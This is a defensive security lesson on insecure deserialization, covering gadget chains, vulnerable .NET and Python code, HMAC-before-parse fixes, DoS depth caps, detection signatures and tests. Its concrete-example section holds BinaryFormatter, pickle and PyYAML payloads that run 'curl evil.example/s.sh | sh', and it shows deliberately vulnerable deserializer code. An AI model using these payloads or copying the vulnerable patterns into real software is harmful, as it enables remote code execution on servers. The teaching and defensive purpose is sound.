What it is
Insecure deserialization is an application rebuilding objects from untrusted data. The problem is not the data — it is that the attacker chooses which classes get constructed. Picking the right class already on the classpath is code execution, with no other vulnerability needed.
Why you should care
What sets this topic apart: the payload contains no code. It contains a chain of calls into code you already have — the libraries you installed, the classes your framework ships. So there is nothing to grep for, no special character, and a WAF sees nothing but base64.
Three things to grasp:
- It is RCE, not disclosure. No escalation needed. An unauthenticated
ViewStateor aBinaryFormatter.Deserializeis code execution on your server. - The surface is your classpath, and it is bigger than your code. A gadget chain using
ObjectDataProvider(WPF),Commons Collections(Java), orpickle(Python) — you did not write them, but they live in your process. - Adding a dependency can create the vulnerability without touching a line of code. The most counter-intuitive point: new gadget chains appear when the classpath changes.
And one important fact about .NET: BinaryFormatter was removed in .NET 9. Microsoft spent years deprecating it because the conclusion was "cannot be made safe" — not "use it carefully". If you still have it, the task is not to patch it but to replace it.
JSON is far safer — but only with type discriminators off. TypeNameHandling.All in Newtonsoft.Json puts Json.NET squarely into the same family.
How the attack works
The mechanism is a confusion about who decides the type. The deserializer reads the type from the data, so the data decides which code runs.
flowchart TD P["base64 payload<br/>containing a TYPE NAME + field data"] --> D{Deserializer} D -->|"Type read from the DATA<br/>BinaryFormatter, pickle,<br/>TypeNameHandling.All"| A["Constructs the type the attacker CHOSE"] A --> G["Gadget: that type has a setter,<br/>a deserialization callback,<br/>or a finalizer that runs a command"] G --> X["🔓 RCE — and the payload contained no code"] D -->|"Type decided by the CODE<br/>System.Text.Json, a JSON schema"| S["Constructs only the declared type"] S --> O["Unknown fields dropped<br/>→ data, not code"]The key point on the left branch: the payload contains no code. It contains a type name and field values. The code that runs is yours — just in an order and with arguments the attacker chose.
This is called a gadget chain, and it is why the topic is hard: the surface is not the code you wrote but the whole classpath. A concrete .NET example — ObjectDataProvider has MethodName and ObjectInstance properties; set them to Start and a Process and that is RCE, and both are entirely legitimate properties of a WPF class.
The risk-by-format table — the one to remember:
| Format | Where the type comes from | Level |
|---|---|---|
BinaryFormatter, SoapFormatter, NetDataContractSerializer | the data | Removed in .NET 9. Cannot be made safe |
pickle, marshal, PyYAML yaml.load | the data | Direct RCE |
Java native ObjectInputStream | the data | Direct RCE |
PHP unserialize | the data | Direct RCE |
Newtonsoft TypeNameHandling.All/Objects | the data | Direct RCE |
System.Text.Json defaults | the code | Safe against RCE |
System.Text.Json + [JsonDerivedType] | the code, allowlisted | Safe — the allowlist is finite |
yaml.safe_load | the code | Safe |
And one door JSON leaves open: DoS. JSON nested 10,000 levels deep exhausts the stack, and a 100MB array of [1,1,1,…] exhausts memory — no gadget required. So depth and size caps are mandatory even with System.Text.Json.
Diagram description: A branching diagram for a base64 payload containing a type name and field data. The wrong branch uses a deserializer that reads the type from the data itself — BinaryFormatter, pickle, or TypeNameHandling.All — so it constructs exactly the type the attacker chose; that type is a gadget with a setter, deserialization callback or finalizer that runs a command, and the result is remote code execution even though the payload contained no code. The right branch uses a deserializer where the code decides the type, so it constructs only the declared type and drops unknown fields — the data stays data.
Concrete example
A "remember me" cookie storing user preferences as a serialised object.
# Payload generated with ysoserial.net, ObjectDataProvider gadget. The content is XML —# and there is not one line of code in it, only type names and property values.GET /dashboard HTTP/1.1Cookie: prefs=AAEAAAD/////AQAAAAAAAAAMAgAAAF9NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0…# Inside the payload, decoded (abridged):<ObjectDataProvider MethodName="Start"> <ObjectDataProvider.ObjectInstance> <Process> <Process.StartInfo> <ProcessStartInfo FileName="cmd" Arguments="/c curl evil.example/s.sh | sh" />Every type and every property here is legitimate and already present in .NET. The payload merely says "construct this object", and the deserializer does exactly that.
# The Python variant — pickle, and it is almost unbelievably short.POST /api/session/restore HTTP/1.1Content-Type: application/octet-stream (cos\nsystem\n(S'curl evil.example/s.sh | sh'\ntR.That is the entire pickle payload. os.system's __reduce__ is invoked during unpickling.
# After the fix: the code decides the type, so the payload is just malformed data.GET /dashboard HTTP/1.1Cookie: prefs=AAEAAAD/////… HTTP/1.1 200 OK(the cookie is ignored, defaults are used, and one warning line is logged)// ── ① BinaryFormatter. Đã bị XOÁ khỏi .NET 9 vì Microsoft kết luận nó không// thể dùng an toàn — không phải "dùng cẩn thận thì được".public UserPrefs? ReadPrefs(HttpRequest request){ if (!request.Cookies.TryGetValue("prefs", out var cookie)) return null; var bytes = Convert.FromBase64String(cookie); using var ms = new MemoryStream(bytes); // ❌ Kiểu đọc từ DỮ LIỆU. Payload không chứa code — nó chứa tên một kiểu và giá // trị các property, và deserializer dựng đúng object đó. ObjectDataProvider // có MethodName + ObjectInstance, nên "Start" trên một Process là RCE. var formatter = new BinaryFormatter(); return (UserPrefs)formatter.Deserialize(ms);} // ── ② Newtonsoft với TypeNameHandling. Cùng lỗi, cú pháp khác ──────────────public T? ReadCached<T>(string json){ var settings = new JsonSerializerSettings { // ❌ Nó đọc trường "$type" từ JSON và dựng kiểu đó. Người ta bật nó để // polymorphism hoạt động khi cache một interface — một nhu cầu hợp lý, // và cách giải quyết sai. // // "Auto" cũng không an toàn hơn: nó vẫn đọc $type khi có. TypeNameHandling = TypeNameHandling.All, }; return JsonConvert.DeserializeObject<T>(json, settings);} // ── ③ Và ký payload rồi giữ nguyên formatter ───────────────────────────────public UserPrefs? ReadSignedPrefs(string cookie){ var parts = cookie.Split('.'); var payload = Convert.FromBase64String(parts[0]); // ❌ Thứ tự ĐẢO: parse trước, verify sau. Parse là chỗ code chạy, nên MAC // không bảo vệ gì — gadget đã thực thi trước khi tới dòng kiểm. var prefs = (UserPrefs)new BinaryFormatter().Deserialize(new MemoryStream(payload)); if (!VerifyMac(payload, parts[1])) return null; return prefs;}import pickleimport yaml @app.post("/api/session/restore")def restore(): # ❌ pickle KHÔNG có chế độ an toàn — tài liệu Python nói thẳng thế. Payload # b"cos\nsystem\n(S'curl evil|sh'\ntR." dài 40 byte và nó là RCE: # __reduce__ của os.system được gọi trong lúc unpickle. state = pickle.loads(request.get_data()) session.update(state) return {"ok": True} @app.post("/api/config/import")def import_config(): # ❌ yaml.load KHÔNG an toàn: nó dựng object Python tuỳ ý. # !!python/object/apply:os.system ["curl evil|sh"] là RCE. # Loader=yaml.Loader cũng vậy — chỉ SafeLoader mới an toàn. config = yaml.load(request.get_data(), Loader=yaml.Loader) apply_config(config) return {"ok": True}What happened in the wild
Equifax, 2017 — 147 million people. The entry point was CVE-2017-5638 in Apache Struts: an OGNL expression in the Content-Type header was evaluated rather than treated as data. That is the same family: untrusted data deciding which code runs. The patch had been available for two months before Equifax was exploited — so the lesson is not "patch deserialization" but know which version you are running (see the dependencies-sbom topic).
CVE-2020-0688 — Microsoft Exchange, ViewState. Every Exchange install shipped the same static validationKey, so an attacker with any mailbox account could sign a valid ViewState — and ViewState is a serialised object. The result was RCE as SYSTEM. Mass exploited, and it shows that a MAC over the payload is only safe while the key is genuinely secret.
And Microsoft's decision on BinaryFormatter (2020–2024). After years of CVEs, Microsoft concluded it cannot be made safe and removed it in .NET 9. Memorable because it is one of very few cases where a vendor says plainly "this API is unfixable" — so if your codebase still has it, the task is replacement, not configuration.
How to defend
Do not deserialize untrusted data — use a format where the CODE decides the type
mandatoryThe block 3 table is the whole fix: pick a format where the type comes from the code, not the data.
- .NET:
System.Text.Jsonwith its defaults. It deserialises into exactly the type you declared, drops unknown fields, and has no mechanism for the data to name a type. RemoveBinaryFormatter,SoapFormatter,NetDataContractSerializerandLosFormatter— they are gone in .NET 9, so this is work you will do regardless. - Newtonsoft.Json:
TypeNameHandling = None(the default). If the code needs polymorphism, move toSystem.Text.Json's[JsonDerivedType]— a finite allowlist you declare, not "any type will do". - Python:
jsonoryaml.safe_load. Nopickle, nomarshal, noyaml.load.picklehas no safe mode — the Python documentation says so outright. - Java: JSON via Jackson with default typing OFF. If native serialization is unavoidable,
ObjectInputFilter(JEP 290) with an allowlist.
And the strongest principle: if the data only needs to carry a few values (preferences, an id, a timestamp) then do not serialise an object — use a flat DTO of primitives. An object graph in a cookie is a design decision, not a requirement.
/// <summary>/// Preference của người dùng, dạng DTO PHẲNG với trường nguyên thuỷ.////// Đây là phần bản vá quan trọng nhất và nó không phải một dòng cấu hình: object/// graph trong một cookie là một QUYẾT ĐỊNH THIẾT KẾ, không phải một yêu cầu./// Nếu dữ liệu chỉ mang vài giá trị thì không cần serialize object nào, và lúc đó/// cả họ lỗ hổng này không có chỗ tồn tại./// </summary>public sealed record UserPrefs(string Theme, string Locale, bool CompactMode){ public static UserPrefs Default => new("system", "vi", false);} public sealed class PrefsCodec{ /// <summary> /// Kiểu do CODE quyết định. System.Text.Json deserialize vào ĐÚNG kiểu đã khai, /// bỏ qua trường lạ, và KHÔNG có cơ chế nào để dữ liệu chỉ định kiểu — nên /// không có gadget nào tồn tại được. /// /// MaxDepth 32 là bắt buộc dù đã dùng System.Text.Json: chuyển sang JSON đóng /// RCE và KHÔNG đóng DoS. JSON lồng 10.000 cấp làm hết stack, và /// StackOverflowException trong .NET KHÔNG bắt được — process chết. /// </summary> private static readonly JsonSerializerOptions Options = new() { MaxDepth = 32, PropertyNameCaseInsensitive = true, // Trường lạ trong JSON bị BỎ theo mặc định. Đặt tường minh để người đọc sau // biết đó là hành vi được chọn, không phải may mắn. UnmappedMemberHandling = JsonUnmappedMemberHandling.Skip, }; private readonly byte[] _key; // 32 byte từ secret store private readonly ILogger<PrefsCodec> _log; public PrefsCodec(IOptions<PrefsOptions> opts, ILogger<PrefsCodec> log) { _key = Convert.FromBase64String(opts.Value.HmacKey); if (_key.Length < 32) throw new InvalidOperationException("Khoá HMAC phải ≥256 bit"); _log = log; } public string Write(UserPrefs prefs) { var json = JsonSerializer.SerializeToUtf8Bytes(prefs, Options); var mac = HMACSHA256.HashData(_key, json); return $"{WebEncoders.Base64UrlEncode(json)}.{WebEncoders.Base64UrlEncode(mac)}"; } /// <summary> /// Trả về Default thay vì throw khi cookie sai: một cookie hỏng là chuyện thường /// (đổi khoá, cookie cũ), và một exception ở đây biến nó thành 500 cho người dùng thật. /// </summary> public UserPrefs Read(string? cookie) { if (string.IsNullOrEmpty(cookie)) return UserPrefs.Default; var dot = cookie.IndexOf('.'); if (dot <= 0) return Reject("thiếu MAC"); byte[] json, mac; try { json = WebEncoders.Base64UrlDecode(cookie[..dot]); mac = WebEncoders.Base64UrlDecode(cookie[(dot + 1)..]); } catch (FormatException) { return Reject("base64 không hợp lệ"); } // VERIFY TRƯỚC PARSE. Thứ tự này là toàn bộ điểm của lớp này: parse là chỗ // code chạy, nên verify sau khi parse là verify sau khi đã bị khai thác. // // FixedTimeEquals, không phải SequenceEqual: một phép so thoát sớm rò từng // byte của MAC qua thời gian phản hồi, và đủ để forge được. var expected = HMACSHA256.HashData(_key, json); if (!CryptographicOperations.FixedTimeEquals(mac, expected)) return Reject("MAC không khớp"); try { return JsonSerializer.Deserialize<UserPrefs>(json, Options) ?? UserPrefs.Default; } catch (JsonException) { return Reject("JSON không hợp lệ"); } } private UserPrefs Reject(string reason) { // Lớp 3 — tín hiệu độ nhiễu rất thấp: client của ta không tạo ra cookie sai MAC. _log.LogWarning("Cookie prefs bị từ chối: {Reason}", reason); return UserPrefs.Default; }} // ── Polymorphism khi CODE cần nó thật ──────────────────────────────────────/// <summary>/// Khi thật sự cần polymorphic deserialization, đây là cách đúng: allowlist HỮU HẠN/// do ta khai, không phải "kiểu nào cũng được".////// Khác biệt cốt lõi so với TypeNameHandling: ở đây tập kiểu có thể dựng là ba, và/// cả ba do ta viết ra. Dữ liệu chọn TRONG ba cái đó, nó không đặt tên kiểu mới./// </summary>[JsonPolymorphic(TypeDiscriminatorPropertyName = "kind", UnknownDerivedTypeHandling = JsonUnknownDerivedTypeHandling.FailSerialization)][JsonDerivedType(typeof(EmailNotification), "email")][JsonDerivedType(typeof(SlackNotification), "slack")][JsonDerivedType(typeof(WebhookNotification), "webhook")]public abstract record Notification; public sealed record EmailNotification(string To, string Subject) : Notification;public sealed record SlackNotification(string Channel) : Notification;public sealed record WebhookNotification(string Url) : Notification; // ── Program.cs · trần ở tầng framework ─────────────────────────────────────// Kiểm kích thước trong handler là kiểm SAU KHI đã nhận hết vào RAM.builder.Services.Configure<KestrelServerOptions>(o => o.Limits.MaxRequestBodySize = 1024 * 1024);builder.Services.ConfigureHttpJsonOptions(o =>{ o.SerializerOptions.MaxDepth = 32;});import hashlibimport hmacimport jsonimport osfrom base64 import urlsafe_b64decode, urlsafe_b64encode import yamlfrom pydantic import BaseModel, Field MAX_BODY = 1 * 1024 * 1024MAX_DEPTH = 32 KEY = os.environ["SESSION_HMAC_KEY"].encode()if len(KEY) < 32: raise RuntimeError("SESSION_HMAC_KEY phải ≥256 bit") class SessionState(BaseModel): """Schema PHẲNG với kiểu nguyên thuỷ. Kiểu do CODE quyết định: pydantic dựng đúng class này và bỏ trường lạ. Không có cơ chế nào để dữ liệu đặt tên một class khác, nên không có gadget nào tồn tại. """ model_config = {"extra": "ignore"} user_id: int = Field(ge=1) theme: str = Field(pattern=r"^(light|dark|system)$") locale: str = Field(pattern=r"^[a-z]{2}$") def _depth(obj, level: int = 0) -> int: """JSON an toàn với RCE, không an toàn với DoS: 10.000 cấp lồng làm hết stack. Đếm độ sâu trước khi đưa vào pydantic — json.loads của Python có trần đệ quy riêng nhưng nó ném RecursionError, và RecursionError ở giữa một request là 500. """ if level > MAX_DEPTH: raise ValueError("nested too deep") if isinstance(obj, dict): return max((_depth(v, level + 1) for v in obj.values()), default=level) if isinstance(obj, list): return max((_depth(v, level + 1) for v in obj), default=level) return level def read_session(cookie: str) -> SessionState | None: payload_b64, _, mac_b64 = cookie.partition(".") if not mac_b64: return None payload = urlsafe_b64decode(payload_b64 + "==") # VERIFY TRƯỚC PARSE, và compare_digest (hằng thời gian) chứ không ==. # Parse là chỗ code chạy — verify sau khi parse là verify sau khi bị khai thác. expected = hmac.new(KEY, payload, hashlib.sha256).digest() if not hmac.compare_digest(urlsafe_b64decode(mac_b64 + "=="), expected): app.logger.warning("cookie session bị từ chối: MAC không khớp") return None try: raw = json.loads(payload) _depth(raw) return SessionState.model_validate(raw) except (ValueError, TypeError) as e: app.logger.warning("cookie session bị từ chối: %s", e) return None def import_config(data: bytes): if len(data) > MAX_BODY: raise ValueError("body too large") # safe_load: chỉ dựng kiểu YAML cơ bản (dict, list, str, int, bool, None). # !!python/object/apply bị từ chối ở tầng parser. # # Lưu ý: safe_load VẪN có billion-laughs qua alias lồng nhau (&a / *a) — cùng # cơ chế với XXE. Trần độ sâu bên dưới là để đóng nó. raw = yaml.safe_load(data) _depth(raw) return ConfigSchema.model_validate(raw)Do not let the client hold state — or sign it, but that does not replace layer 1
mandatoryThe question before every other question: why is this object travelling through the client?
Most insecure deserialization exists because somebody needed to store state and a cookie or hidden field was the convenient place. The right answer is keep it server-side and give the client an unguessable id: a session id, an orderId. With no object travelling there is nothing to deserialise.
When the client genuinely must hold it (stateless, many instances, no Redis):
- Sign it with HMAC-SHA256 using a key dedicated to that purpose, and verify before parsing. The order matters: verify then parse, not parse then verify — parsing is where the code runs.
- Compare the MAC in constant time (
CryptographicOperations.FixedTimeEquals). An early-exit comparison leaks the MAC byte by byte through response timing. - The key must be genuinely secret and per-deployment. CVE-2020-0688 is exactly this failure: every Exchange install shared one
validationKey, so the MAC protected nobody.
A MAC does NOT replace layer 1. It stops an external attacker; it does not stop a payload from a signed-in user if you sign with a shared key, and it does not save you when the key leaks. Signing a BinaryFormatter payload makes an unfixable API harder to exploit, not safe.
Depth and size caps — JSON is safe against RCE, not against DoS
mandatoryMoving to System.Text.Json closes RCE and does not close DoS. Three caps, each stopping something:
- Depth:
JsonSerializerOptions { MaxDepth = 32 }.System.Text.Jsondefaults to 64, but 32 exceeds every real structure. JSON nested 10,000 deep exhausts the stack — and aStackOverflowExceptionin .NET cannot be caught, the process dies. - Body size: at the framework or proxy layer, not in the handler. Checking in the handler is checking after it is all in memory.
- Array element count and string length: a 100MB
[1,1,1,…]array parsed into aList<int>is 400MB of heap. That cap belongs in DTO validation.
And for YAML: even safe_load still allows billion-laughs via nested aliases (&a/*a) — the same mechanism as XXE in the xxe topic. Set a depth cap and disable aliases if the library allows it.
Bound the damage when a gadget chain wins
This layer catches what layer 1 cannot see: a new gadget chain in a new dependency, or a deserializer inside a library you did not know was there.
The same controls as command-injection layer 2, for the same reason — the outcome is RCE:
- A non-root user,
readOnlyRootFilesystem: true, all Linux capabilities dropped,seccompProfile: RuntimeDefault. - Closed egress: an RCE that cannot call out cannot stage a second payload and cannot exfiltrate. See ssrf layer 2 for the concrete NetworkPolicy.
- No broad credentials in the process: if the RCE finds a connection string for a superuser DB account, layer 2 means almost nothing. See sql-injection layer 2.
And one control specific to this topic: shrink the classpath. The gadget surface is every library in the process, so removing an unused dependency removes a set of gadgets. In .NET: PublishTrimmed for self-contained apps.
Detection: gadget payloads have a very distinctive signature
This is one of the few families where string-based detection genuinely works, because gadget payloads carry markers that essentially never appear in normal traffic:
AAEAAAD/////— theBinaryFormattermagic bytes after base64. A request containing it is an attempt, not a misconfigured client.rO0AB— Java serialization magic after base64.$typein a JSON body — the signature of somebody probing forTypeNameHandling.__reduce__,os\nsystem,subprocessinside a binary body — pickle.!!python/object/apply— PyYAML.
Alert on the first occurrence, not on a total: one is enough to investigate. Layer 3 because it blocks nothing — but unlike most security detection, it has almost no false positives.
And one more important preventive control: track your dependencies. New gadget chains appear when the classpath changes, so dotnet list package --vulnerable in CI and SBOM alerting catch the risk before it is a vulnerability. Equifax was a vulnerability whose patch had existed for two months.
Verifying the fix
1. A merge-blocking grep — the highest-yield check on this topic, because the dangerous APIs have a small fixed set of names:
# .NET — all four are gone in .NET 9, so this doubles as an upgrade-readiness checkgrep -rnE 'BinaryFormatter|SoapFormatter|NetDataContractSerializer|LosFormatter' \ --include='*.cs' src/ && { echo "unfixable formatter"; exit 1; } # Newtonsoft polymorphism — any TypeNameHandling other than None is RCEgrep -rnE 'TypeNameHandling *= *TypeNameHandling\.(All|Objects|Arrays|Auto)' \ --include='*.cs' src/ && { echo "TypeNameHandling enabled"; exit 1; } # Python / YAMLgrep -rnE '\bpickle\.(load|loads)|\bmarshal\.|yaml\.load\((?!.*SafeLoader)' \ --include='*.py' src/ && { echo "unsafe deserializer"; exit 1; }exit 02. A test asserting the gadget payload is REJECTED, not that it "does not throw". This is where most tests go wrong: the assertion must be that the side effect did not occur (no marker file, no child process), not that a particular exception was raised. See the csharp / test tab.
3. A separate DoS test. Moving to System.Text.Json closes RCE and does not close DoS:
# JSON nested 10,000 deep. Must be a 400, not a dead process.python3 -c "print('['*10000 + ']'*10000)" > deep.jsoncurl -s -o /dev/null -w '%{http_code}\n' -X POST "$B/api/prefs" \ -H 'Content-Type: application/json' --data-binary @deep.json# 400 passes. A timeout or 502 means the process died on StackOverflow, which is UNCATCHABLE.4. Check dependencies for known gadget chains — the check that catches risk before it is a vulnerability, and the one Equifax lacked:
dotnet list package --vulnerable --include-transitive 2>&1 | tee /tmp/vuln.txtgrep -q 'has the following vulnerable packages' /tmp/vuln.txt \ && { echo "packages with known vulnerabilities present"; exit 1; }exit 05. If MAC-signed payloads remain: check the verify-before-parse order. A check nobody thinks of: send a payload with a wrong MAC and assert nothing was parsed. If the log shows a deserialization error, the order is inverted — and parsing is where the code runs.
6. Check the MAC key is not the default (CVE-2020-0688 is exactly this failure):
# The key must come from a secret store, and differ between environments.test "$(printenv PREFS_HMAC_KEY | sha256sum | cut -c1-16)" \ != "$(echo -n 'change-me' | sha256sum | cut -c1-16)" \ || { echo "the HMAC key is still the default"; exit 1; }public class PrefsCodecTests{ private readonly PrefsCodec _codec = TestCodec.WithRandomKey(); /// <summary> /// Phần lớn test deserialization khẳng định sai thứ: chúng kiểm "một exception /// được ném", mà một bản vá blocklist cũng ném exception. Test này khẳng định /// đúng thứ cần — TÁC DỤNG PHỤ không xảy ra: /// /// • không có file marker nào được tạo /// • không có process con nào được sinh ra /// • và hàm trả về giá trị mặc định, tức là luồng vẫn chạy đúng /// /// Payload là gadget ObjectDataProvider thật, sinh bằng ysoserial.net. /// </summary> [Theory] [InlineData(GadgetPayloads.BinaryFormatterObjectDataProvider)] [InlineData(GadgetPayloads.BinaryFormatterTypeConfuseDelegate)] [InlineData(GadgetPayloads.NewtonsoftTypeName)] public void Gadget_payload_never_executes(string payload) { const string marker = "/tmp/seclab-deser-pwned"; if (File.Exists(marker)) File.Delete(marker); var childrenBefore = Process.GetProcesses().Length; var result = _codec.Read(payload); Assert.False(File.Exists(marker), "gadget đã chạy"); Assert.Equal(UserPrefs.Default, result); // Không sinh process con: một số gadget spawn cmd/sh thay vì ghi file. Assert.InRange(Process.GetProcesses().Length, 0, childrenBefore + 2); } /// <summary> /// DoS. Chuyển sang System.Text.Json đóng RCE và KHÔNG đóng DoS — nên đây là /// một test riêng, không phải một biến thể của test trên. /// /// Nếu MaxDepth bị bỏ ra, test này không đỏ: nó làm test host CHẾT, vì /// StackOverflowException trong .NET không bắt được. Đó cũng là lý do trần này /// phải là cấu hình, không phải một try/catch. /// </summary> [Fact] public void Deeply_nested_json_is_rejected_not_fatal() { var deep = new string('[', 10_000) + new string(']', 10_000); var signed = TestCodec.SignRaw(_codec, Encoding.UTF8.GetBytes(deep)); var result = _codec.Read(signed); // KHÔNG được làm chết process Assert.Equal(UserPrefs.Default, result); } /// <summary> /// Thứ tự verify-trước-parse. Đây là phép kiểm mà không ai nghĩ tới, và nó là /// khác biệt giữa một MAC có nghĩa và một MAC trang trí. /// /// Payload là gadget, MAC là rác. Nếu code parse trước rồi verify sau thì gadget /// đã chạy TRƯỚC KHI tới dòng kiểm MAC — và test này bắt được đúng điều đó. /// </summary> [Fact] public void Mac_is_verified_before_the_payload_is_parsed() { const string marker = "/tmp/seclab-deser-pwned"; if (File.Exists(marker)) File.Delete(marker); var gadget = WebEncoders.Base64UrlEncode( Convert.FromBase64String(GadgetPayloads.BinaryFormatterObjectDataProvider)); var result = _codec.Read($"{gadget}.{WebEncoders.Base64UrlEncode("rác"u8.ToArray())}"); Assert.Equal(UserPrefs.Default, result); Assert.False(File.Exists(marker), "payload được parse trước khi MAC bị từ chối"); } /// <summary> /// Cặp đôi: cookie hợp lệ vẫn đọc được. Không có nó thì một bản vá /// "luôn trả Default" pass mọi test ở trên. /// </summary> [Fact] public void Valid_cookie_round_trips() { var prefs = new UserPrefs("dark", "en", true); Assert.Equal(prefs, _codec.Read(_codec.Write(prefs))); } /// <summary> /// Sửa MỘT bit trong payload phải làm MAC hỏng. Test này bắt được lỗi /// "MAC tính trên chuỗi khác với chuỗi được parse" — một lỗi im lặng. /// </summary> [Fact] public void Tampered_payload_is_rejected() { var cookie = _codec.Write(new UserPrefs("dark", "en", true)); var dot = cookie.IndexOf('.'); var json = WebEncoders.Base64UrlDecode(cookie[..dot]); json[0] ^= 0x01; // đổi một bit var tampered = $"{WebEncoders.Base64UrlEncode(json)}{cookie[dot..]}"; Assert.Equal(UserPrefs.Default, _codec.Read(tampered)); } /// <summary> /// Formatter không vá được không được quay lại. Grep trong CI cũng làm việc này, /// nhưng một test thì chạy cả khi ai đó sửa file CI. /// </summary> [Fact] public void No_unfixable_formatter_is_referenced() { var banned = new[] { "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter", "System.Runtime.Serialization.NetDataContractSerializer", "System.Web.UI.LosFormatter", }; var referenced = typeof(PrefsCodec).Assembly.GetReferencedAssemblies() .SelectMany(a => SafeGetTypes(Assembly.Load(a))) .Select(t => t.FullName) .Where(n => banned.Contains(n)) .ToList(); Assert.Empty(referenced); }}Common mistakes
| The "fix" | Why it is wrong |
|---|---|
| Blocklist dangerous class names | New gadget chains appear whenever the classpath changes. Your list is a snapshot of today |
Sign the payload and keep BinaryFormatter | Makes exploitation harder, not safe. A leaked key, or a shared one (CVE-2020-0688), ends it |
| Verify the MAC after parsing | Parsing is where the code runs. The order must be verify → parse |
Compare the MAC with == | Early exit leaks it byte by byte through timing. You need FixedTimeEquals |
| Encrypt the payload instead of signing it | Encryption is not authentication. An attacker with the key (or a padding oracle) still forges payloads |
TypeNameHandling.Auto "because it is internal only" | Auto still reads $type from the data. "Internal" is an assumption about the network, not a control |
| Move to JSON and consider it done | Closes RCE, leaves DoS: JSON nested 10,000 deep kills the process, and StackOverflowException is uncatchable |
yaml.load with Loader=yaml.Loader | Still unsafe. Only SafeLoader/safe_load is safe |
A WAF blocking the string AAEAAAD | A good DETECTION signal (layer 3), but compression or re-encoding walks past it |
The scoping mistake, and it is the central one: hunting in code you wrote. The deserializer is usually inside a library: a cache provider, a session store, a message queue client, an Office file reader. The way to find it is to grep the API names, not the word "deserialize".
The timing mistake: treating this as a one-off audit. The gadget surface is the classpath, and the classpath changes with every added dependency — so an "audited" codebase can acquire a new vulnerability without a line of code changing.
Comments
Commenting needs an account with at least one completed lesson. That condition is what keeps this thread worth reading: every point belongs to someone who can be asked back, and reputation accrues over time.
You can still read every comment below without an account. Signing in brings you back to this exact spot, not to the top of the page.
Loading comments…